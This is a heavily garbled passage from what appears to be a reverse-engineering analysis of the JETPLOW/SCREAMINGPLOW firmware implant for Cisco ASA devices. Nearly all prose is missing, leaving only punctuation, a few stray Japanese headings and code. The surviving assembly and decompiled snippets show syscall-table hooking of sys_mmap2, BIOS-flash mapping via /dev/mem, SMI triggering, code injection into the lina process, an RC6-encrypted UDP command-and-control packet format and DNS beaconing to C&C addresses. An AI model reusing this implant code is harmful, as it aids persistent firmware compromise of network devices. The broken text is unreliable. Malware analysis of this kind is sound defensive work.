sys_mmap2 VA in far jump ; so that SP sys_mmap2 could actually use it mov eax, [ebp+kernel_rm_ep] mov ecx, [ebp+sys_mmap2_handler_ptr_pa] mov [ecx], eax ; modify sys_mmap2 handler ptr within syscall_table ; to make it point to SP sys_mmap2 mov eax, 0DCEC3h ; remember original sys_mmap2 VA for when SCA finishes it work ; it could restore the original handler ptr within syscall_table ; ... mov eax, 1 ; success jmp short exit_ok ; ...
      
      





, "" "": mmap2 " " user space-, . mmap2 . SCA BIOS Flash, , /dev/mem . , , mmap2 /dev/mem 0xFF000lina .







 // /tmp/asa831-k8-rootfs/asa/bin/lina @ 0x8AE9A10 //... fd = primary_rom_fd; if (!primary_rom_fd){ fd = fopen("/dev/mem", "r+"); primary_rom_fd = fd; if (!fd){ printf("Error opening %s\n", "/dev/mem"); exit(1); } } _fileno = fileno(fd); *(_DWORD *)(a2 - 20) = 0; *(_DWORD *)(a2 - 16) = 0xFFC00000 / *(_DWORD *)(a2 - 32); _primary_rom = sys_mmap2(*(void **)(a2 - 20), 0x80000u, 3, 1, _fileno, *(_DWORD *)(a2 - 20 + 4)); if (_primary_rom > 0xFFFFFF7E){ *__errno_location() = -_primary_rom; LABEL_4: perror("mmap: error mapping primary rom"); exit(1); } //...
      
      





, lina - 512 KiB BIOS Flash. , FCA, FUA SUA , 1 MiB mmap2 , . lina .







SP Main . , mmap2 , , /, , , SCA #SMI .







 ; `bin/asa5505/SCP28/asa5505_patch60000.bin` offset 0x063 ; ... push eax ; eax <- mapped address mov dx, 0CF8h mov eax, 800078D0h out dx, eax mov dx, 0CFCh mov al, 42h ; this will signal SCE that sys_mmap2() has ; triggered this #SMI out dx, al pop eax retn ; this will return to SP Main EP ; ...
      
      





SCA , sysenter_ret (, ), SP Main . SCA RSM , SP Main , , , :







 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x2D1 ; ... mov ecx, [edi+esi*4+30h] ; ecx <- sysenter_ret mov [eax+4], ecx ; 62000 will return to where sysenter should have been mov [edi+esi*4+3Ch], ebx mov dword ptr [eax], 0 mov eax, [edi+4] ; eax <- sys_mmap2 ret addr mov fs:_mmap2_ret, eax mov eax, [edi] ; eax <- mapped memory va? mov fs:_ss_eax, eax add eax, 62000h add eax, 0 mov [edi+esi*4+30h], eax ; syscall will return to 62000 mov edx, fs:_ss_esp add edx, 8 mov fs:_ss_esp, edx ; ...
      
      





:







リナへの浸透プロセスの一般的なスキーム







SP Main , , , malina . ( lina 0x62200 BIOS Flash), " ", .









, FUA - userarea . , , SUA . , , ). SP Main , , C&C, : ", . - Lina. ?".







, . , C&C , .







, lina . SP Main FCA FUA RAM _td_ctx_enter , malina SCA . , SP Main lina , . malina , 0x100040 .







SP Main ( FCA ) PBD Header BIOS Flash anonymous mapping .







SP Main . /proc/self/maps lina .







, ELF- , SP Main _td_ctx_enter , SCA , malina ( 55 53 65 57 ).







mprotect , , , , SP Main .







, , lina , malina .







_td_ctx_enter , SP Main , . : (socket, bind, sendto, close, etc.); ( , , etc.); SNMP ( ); syslog .







, . , , FCA (. FCA 0x2D60 ).







, , main . , C&C, .









OSI



C&C OSI .







IPv4 IPv6 , .







UDP . PBD_Header.min_src_port – PBD_Header.max_src_port . , C&C.







Benign -, , , , . , Benign - 512 ( BENIGNSIZE ), , . Benign - .







RC6 Benign -.







" – ". , . Benign -.







Benign-



Benign -, -, :







 struct BenignHeader { uint8_t type; /* request type */ uint8_t padLength; /* minimal size of BENIGN packet is 8 bytes, hence the padding */ uint16_t pkt_ID; /* incremented with each new packet */ uint32_t benign_payload_length; /* payload size */ uint32_t sequenceNumber; /* sequential number of payload fragment */ uint32_t ackNumber; /* number of request packet for which this packet is response to */ }; struct BenignPacket { uint32_t cf_crc; /* some value as returned by Check_Function */ uint32_t cv[2]; /* initializtion vector for encryption */ uint8_t salt[8]; /* random salt */ BenignHeader header; /* payload header */ uint8_t payload[0]; /* CO to the rescue */ }
      
      





type /, .







( ):









padLength , , 8 . , , RC6, 16 (8 salt + 16 header = 24 , 32 ).







pkt_ID .







benign_payload_length payload .







sequenceNumber , 512 .







ackNumber , .







cf_crc , , , UDP - Benign -.







, BenignPacket2.salt , RC6. PBD_Header.default_key1 . cv , 16- SHA-1 , , . salt defauly_key1 TSC .







Beacon-



, , , , IP- , , , "" Beacon -.







, IP- , Beacon - DNS - A ( address record ), www.subdomain.domain.com



. domain – , , , , subdomain – .







, , Cobalt Strike "" .







DNS :







 // `bin/asa5505/SCP28/asa5505_patch60000.bin` offset 0x9670 // ... memcpy(subdomain, _subdomin, 16); dns_packet->query.www_sz = 3; memcpy(dns_packet->query.www, aWww, 3); dns_packet->query.subdomain_sz = 0x11; dns_packet->query.subdomain[0] = 0x41; memcpy(&dns_packet->query.subdomain[1], subdomain, 16); dns_packet->query.domain_sz = _sizeof_pbd_domain; memcpy(dns_packet->query.domain, _5400->domain_name, _sizeof_pbd_domain); com = &dns_packet->query.domain[_sizeof_pbd_domain]; com->com_sz = 3; // sizeof("com") without trailing \x00 memcpy(com->com, aCom, 4); com->qtype = rol_16_8(1); // Type A query (host address) qclass = rol_16_8(1); ip_selector = (_5400->beacon_num & 1) == 0; com->qclass = qclass; // Class IN query (Internet address) if ( ip_selector ) daddr = _5400->beacon_secondary_IP; else daddr = _5400->beacon_primary_IP; // unsigned __int32 __usercall udp_send@<eax>(int a1@<eax>, int buf@<edx>, unsigned __int16 len@<cx>, unsigned int a4, __int16 sport, __int16 dport, unsigned int daddr) udp_send(_5400, _5400->_send_buf, com + 9 - dns_packet, _5400->_const_FFFFFFFF, sport, 53, daddr); // ...
      
      





DNS - Beacon - IP- IP- , subdomain .







, , Beacon - DNS -, , , 400 .







Beacon - DNS -: PBD_Header.primary_beacon_IP , – PBD_Header.secondary_beacon_IP .







, Beacon - , . "" DNS -, , , , .







, Beacon - DNS -.







, :







www.[dev_id?][implant_id_enc][some_obf].[domain].com



,









DNS - bin/asa5505/SCP28/asa5505_patch60000.bin 0x9670 .







Coming soon...



, . , :











Cisco :







Blogs.cisco.comブログスクリーンショット







?







, , , , ? , : , , « » - ..







verify , , , , . – .







, , , JETPLOW .







になる方法







, , . , – , – , .







, ASA , JP/SCP. , .







SecureBoot Trust Anchor?







" Cisco". , , , , Cisco.







おわりに



The Shadow Brokers , :







  1. The Shadow Brokers , , .
  2. JETPLOW/SCREAMINGPLOW , .
  3. (TPM) JETPLOW , .







All Articles